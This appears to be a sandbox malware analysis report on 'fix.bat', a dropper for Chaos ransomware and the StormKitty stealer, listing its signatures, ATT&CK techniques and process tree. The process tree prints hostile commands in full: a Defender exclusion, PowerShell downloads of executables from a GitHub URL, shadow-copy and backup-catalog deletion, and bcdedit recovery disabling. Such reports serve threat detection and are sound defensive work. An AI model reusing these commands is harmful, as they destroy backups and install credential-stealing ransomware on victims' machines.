chaos | 50c4082ed4c65e96649e53ba20fec89ead550d4774901dcccaf562db79a9e3e4

Resubmissions

17/03/2025, 03:15

250317-dsdbfa1rt610

17/03/2025, 03:14

250317-drtxssyvfz10

Analysis

max time kernel
48s
max time network
44s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
17/03/2025, 03:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
fix.bat
Size 2KB
Sample250317-dsdbfa1rt6
SHA256 50c4082ed4c65e96649e53ba20fec89ead550d4774901dcccaf562db79a9e3e4
MD5 160b408ccc1bd513057cba516f4436e7
SHA1 0deecfee13ebc656eecc6aaab2a8978bc93268d0
SHA512 74777e896abd4ca6f4282a1dff09c133f95ecd17f1bb48140fce2f2cca615e5be034950cdf8d3ad3846338f442c8e326fac69ef1b18104bd344e7cd33bdec933
MD5 SHA1 SHA512

Score

10^/10

chaos stormkitty defense_evasion evasion execution impact ransomware spyware stealer

Malware Config

Signatures

Chaos
Ransomware family first seen in June 2021.
ransomware chaos

Chaos Ransomware 2 IoCs

resource	yara_rule
behavioral2/files/0x01b00000000221a8-47.dat	family_chaos
behavioral2/memory/2760-52-0x00000000009B0000-0x00000000009D8000-memory.dmp	family_chaos

Chaos family
chaos
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000b000000024282-50.dat	family_stormkitty
behavioral2/memory/916-53-0x00000000007F0000-0x0000000000810000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
112	bcdedit.exe
3568	bcdedit.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
6	4628	powershell.exe
10	4628	powershell.exe
16	4656	powershell.exe
17	4656	powershell.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3340	wbadmin.exe

Disables Task Manager via registry modification
defense_evasion

Downloads MZ/PE file 2 IoCs

flow	pid	Process
10	4628	powershell.exe
17	4656	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	build.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	svchost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	kernelv.exe

Drops startup file 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\readme.txt	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.url	svchost.exe

Executes dropped EXE 3 IoCs

pid	Process
2760	build.exe
916	kernelv.exe
1880	svchost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2004	powershell.exe
4628	powershell.exe
4656	powershell.exe

Drops desktop.ini file(s) 64 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini	svchost.exe
File opened for modification	C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group2\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini	svchost.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn2\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	svchost.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\desktop.ini	svchost.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Downloads\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\History\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini	svchost.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group2\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini	svchost.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\StartUp\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\System Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn1\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Application Shortcuts\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\3D Objects\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	svchost.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\desktop.ini	svchost.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini	svchost.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\desktop.ini	svchost.exe
File opened for modification	C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group3\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\AccountPictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	svchost.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini	svchost.exe
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-3342763580-2723508992-2885672917-1000\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group3\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	svchost.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	svchost.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	svchost.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\hpzc76jyp.jpg"	svchost.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
2004	powershell.exe
4856	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
280	timeout.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4732	vssadmin.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
5920	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000_Classes\Local Settings	svchost.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2908	NOTEPAD.EXE

Runs net.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1880	svchost.exe

Suspicious behavior: EnumeratesProcesses 57 IoCs

pid	Process
2004	powershell.exe
2004	powershell.exe
4628	powershell.exe
4628	powershell.exe
4656	powershell.exe
4656	powershell.exe
2760	build.exe
4856	powershell.exe
4856	powershell.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
2760	build.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe

Suspicious use of AdjustPrivilegeToken 56 IoCs

description	pid	Process
Token: SeDebugPrivilege	2004	powershell.exe
Token: SeDebugPrivilege	4628	powershell.exe
Token: SeDebugPrivilege	4656	powershell.exe
Token: SeDebugPrivilege	2760	build.exe
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeDebugPrivilege	916	kernelv.exe
Token: SeDebugPrivilege	1880	svchost.exe
Token: SeBackupPrivilege	4908	vssvc.exe
Token: SeRestorePrivilege	4908	vssvc.exe
Token: SeAuditPrivilege	4908	vssvc.exe
Token: SeIncreaseQuotaPrivilege	5820	WMIC.exe
Token: SeSecurityPrivilege	5820	WMIC.exe
Token: SeTakeOwnershipPrivilege	5820	WMIC.exe
Token: SeLoadDriverPrivilege	5820	WMIC.exe
Token: SeSystemProfilePrivilege	5820	WMIC.exe
Token: SeSystemtimePrivilege	5820	WMIC.exe
Token: SeProfSingleProcessPrivilege	5820	WMIC.exe
Token: SeIncBasePriorityPrivilege	5820	WMIC.exe
Token: SeCreatePagefilePrivilege	5820	WMIC.exe
Token: SeBackupPrivilege	5820	WMIC.exe
Token: SeRestorePrivilege	5820	WMIC.exe
Token: SeShutdownPrivilege	5820	WMIC.exe
Token: SeDebugPrivilege	5820	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5820	WMIC.exe
Token: SeRemoteShutdownPrivilege	5820	WMIC.exe
Token: SeUndockPrivilege	5820	WMIC.exe
Token: SeManageVolumePrivilege	5820	WMIC.exe
Token: 33	5820	WMIC.exe
Token: 34	5820	WMIC.exe
Token: 35	5820	WMIC.exe
Token: 36	5820	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5820	WMIC.exe
Token: SeSecurityPrivilege	5820	WMIC.exe
Token: SeTakeOwnershipPrivilege	5820	WMIC.exe
Token: SeLoadDriverPrivilege	5820	WMIC.exe
Token: SeSystemProfilePrivilege	5820	WMIC.exe
Token: SeSystemtimePrivilege	5820	WMIC.exe
Token: SeProfSingleProcessPrivilege	5820	WMIC.exe
Token: SeIncBasePriorityPrivilege	5820	WMIC.exe
Token: SeCreatePagefilePrivilege	5820	WMIC.exe
Token: SeBackupPrivilege	5820	WMIC.exe
Token: SeRestorePrivilege	5820	WMIC.exe
Token: SeShutdownPrivilege	5820	WMIC.exe
Token: SeDebugPrivilege	5820	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5820	WMIC.exe
Token: SeRemoteShutdownPrivilege	5820	WMIC.exe
Token: SeUndockPrivilege	5820	WMIC.exe
Token: SeManageVolumePrivilege	5820	WMIC.exe
Token: 33	5820	WMIC.exe
Token: 34	5820	WMIC.exe
Token: 35	5820	WMIC.exe
Token: 36	5820	WMIC.exe
Token: SeBackupPrivilege	3668	wbengine.exe
Token: SeRestorePrivilege	3668	wbengine.exe
Token: SeSecurityPrivilege	3668	wbengine.exe
Token: SeDebugPrivilege	5920	taskkill.exe

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 3628 wrote to memory of 5460	3628	cmd.exe	86
PID 3628 wrote to memory of 5460	3628	cmd.exe	86
PID 5460 wrote to memory of 5720	5460	net.exe	87
PID 5460 wrote to memory of 5720	5460	net.exe	87
PID 3628 wrote to memory of 2004	3628	cmd.exe	88
PID 3628 wrote to memory of 2004	3628	cmd.exe	88
PID 3628 wrote to memory of 4628	3628	cmd.exe	92
PID 3628 wrote to memory of 4628	3628	cmd.exe	92
PID 3628 wrote to memory of 4656	3628	cmd.exe	93
PID 3628 wrote to memory of 4656	3628	cmd.exe	93
PID 3628 wrote to memory of 2760	3628	cmd.exe	94
PID 3628 wrote to memory of 2760	3628	cmd.exe	94
PID 3628 wrote to memory of 916	3628	cmd.exe	95
PID 3628 wrote to memory of 916	3628	cmd.exe	95
PID 3628 wrote to memory of 4856	3628	cmd.exe	96
PID 3628 wrote to memory of 4856	3628	cmd.exe	96
PID 2760 wrote to memory of 1880	2760	build.exe	98
PID 2760 wrote to memory of 1880	2760	build.exe	98
PID 1880 wrote to memory of 4880	1880	svchost.exe	99
PID 1880 wrote to memory of 4880	1880	svchost.exe	99
PID 4880 wrote to memory of 4732	4880	cmd.exe	101
PID 4880 wrote to memory of 4732	4880	cmd.exe	101
PID 4880 wrote to memory of 5820	4880	cmd.exe	104
PID 4880 wrote to memory of 5820	4880	cmd.exe	104
PID 1880 wrote to memory of 6108	1880	svchost.exe	105
PID 1880 wrote to memory of 6108	1880	svchost.exe	105
PID 6108 wrote to memory of 112	6108	cmd.exe	107
PID 6108 wrote to memory of 112	6108	cmd.exe	107
PID 6108 wrote to memory of 3568	6108	cmd.exe	108
PID 6108 wrote to memory of 3568	6108	cmd.exe	108
PID 1880 wrote to memory of 5084	1880	svchost.exe	109
PID 1880 wrote to memory of 5084	1880	svchost.exe	109
PID 5084 wrote to memory of 3340	5084	cmd.exe	111
PID 5084 wrote to memory of 3340	5084	cmd.exe	111
PID 1880 wrote to memory of 2908	1880	svchost.exe	118
PID 1880 wrote to memory of 2908	1880	svchost.exe	118
PID 916 wrote to memory of 4360	916	kernelv.exe	122
PID 916 wrote to memory of 4360	916	kernelv.exe	122
PID 4360 wrote to memory of 5464	4360	cmd.exe	124
PID 4360 wrote to memory of 5464	4360	cmd.exe	124
PID 4360 wrote to memory of 5920	4360	cmd.exe	125
PID 4360 wrote to memory of 5920	4360	cmd.exe	125
PID 4360 wrote to memory of 280	4360	cmd.exe	126
PID 4360 wrote to memory of 280	4360	cmd.exe	126

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fix.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3628
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5460
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:5720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionPath \"$env:TEMP\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iwr -Uri \"https://github.com/nfdsafnsdl/login/releases/download/V1/build.exe\" -OutFile \"C:\Users\Admin\AppData\Local\Temp\build.exe\" -ErrorAction Stop"
  2⤵
  - Blocklisted process makes network request
  - Downloads MZ/PE file
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iwr -Uri \"https://github.com/nfdsafnsdl/login/releases/download/V1/kernelv.exe\" -OutFile \"C:\Users\Admin\AppData\Local\Temp\kernelv.exe\" -ErrorAction Stop"
  2⤵
  - Blocklisted process makes network request
  - Downloads MZ/PE file
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4656
- C:\Users\Admin\AppData\Local\Temp\build.exe
  "C:\Users\Admin\AppData\Local\Temp\build.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2760
- - C:\Users\Admin\AppData\Roaming\svchost.exe
    "C:\Users\Admin\AppData\Roaming\svchost.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Drops desktop.ini file(s)
    - Sets desktop wallpaper using registry
    - Modifies registry class
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1880
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4880
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:4732
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5820
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
      4⤵
      Suspicious use of WriteProcessMemory
      PID:6108
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:112
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled no
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:3568
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5084
    - - C:\Windows\system32\wbadmin.exe
        
        wbadmin delete catalog -quiet
        5⤵
        Deletes backup catalog
        
        PID:3340
  - - C:\Windows\system32\NOTEPAD.EXE
      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\readme.txt
      4⤵
      Opens file in notepad (likely ransom note)
      PID:2908
- C:\Users\Admin\AppData\Local\Temp\kernelv.exe
  "C:\Users\Admin\AppData\Local\Temp\kernelv.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:916
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpE8AA.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpE8AA.tmp.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4360
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:5464
  - - C:\Windows\system32\taskkill.exe
      TaskKill /F /IM 916
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5920
  - - C:\Windows\system32\timeout.exe
      Timeout /T 2 /Nobreak
      4⤵
      Delays execution with timeout.exe
      PID:280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -Command "Remove-MpPreference -ExclusionPath \"$env:TEMP\" -ErrorAction SilentlyContinue"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4856

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4908

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3668

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:864

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Direct Volume Access

T1006

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

2012_x64_1_vcRuntimeAdditional_x64.log

Path C:\Users\Admin\2012_x64_1_vcRuntimeAdditional_x64.log
Size 1B
SHA256 8a8de823d5ed3e12746a62ef169bcf372be0ca44f0a1236abc35df05d96928e1
MD5 d1457b72c3fb323a2671125aef3eab5d
SHA1 5bab61eb53176449e25c2c82f172b82cb13ffb9d
SHA512 ca63c07ad35d8c9fb0c92d6146759b122d4ec5d3f67ebe2f30ddb69f9e6c9fd3bf31a5e408b08f1d4d9cd68120cced9e57f010bef3cde97653fed5470da7d1a0
MD5 SHA1 SHA512

Submit Download

build.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\build.exe.log
Size 226B
SHA256 2391511d0a66ed9f84ae54254f51c09e43be01ad685db80da3201ec880abd49c
MD5 28d7fcc2b910da5e67ebb99451a5f598
SHA1 a5bf77a53eda1208f4f37d09d82da0b9915a6747
SHA512 2d8eb65cbf04ca506f4ef3b9ae13ccf05ebefab702269ba70ffd1ce9e6c615db0a3ee3ac0e81a06f546fc3250b7b76155dd51241c41b507a441b658c8e761df6
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 6aa59e171898b3dd42a36662ef81d349ce5063a705f1261e881269c59e7c742b
MD5 737aca23f199ce589dd1e68bc4969b98
SHA1 8c9cdd6bdf94c5fa42c5b0c29abf0136e4e6fa00
SHA512 ccc0e6fa798aeb92e6e1a14d6ef3dc23e8e829d5ffd10f11129d0e590820711e29997a761dca77b8e790b06e3c7c0d2059137f40f92543eb8048529b1b4d7817
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0adaacb48f4ec2e6d592f9a606ec2fbbe309c755d96fb9d4a8f3ec710670897f
MD5 a2175bcbbe37eae9f007261c10c2fae4
SHA1 4dd521c004cafa81cbfcb225ea6e8c37a45968fa
SHA512 7cf520cc9f106cd7e36f7cf1e59938e457daa7a1b66cac275608f4f171636c14b5802c49ddf4906885fee9ff16b3ba15d9194ad031d39b50ebabe4abe06874c2
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 67c404e4a7aedca098c857a88ab8e9b8c1793fe8684d13efce11d7ab2ddec5fe
MD5 0f96e60b5fe5b879928eb4d87d72180d
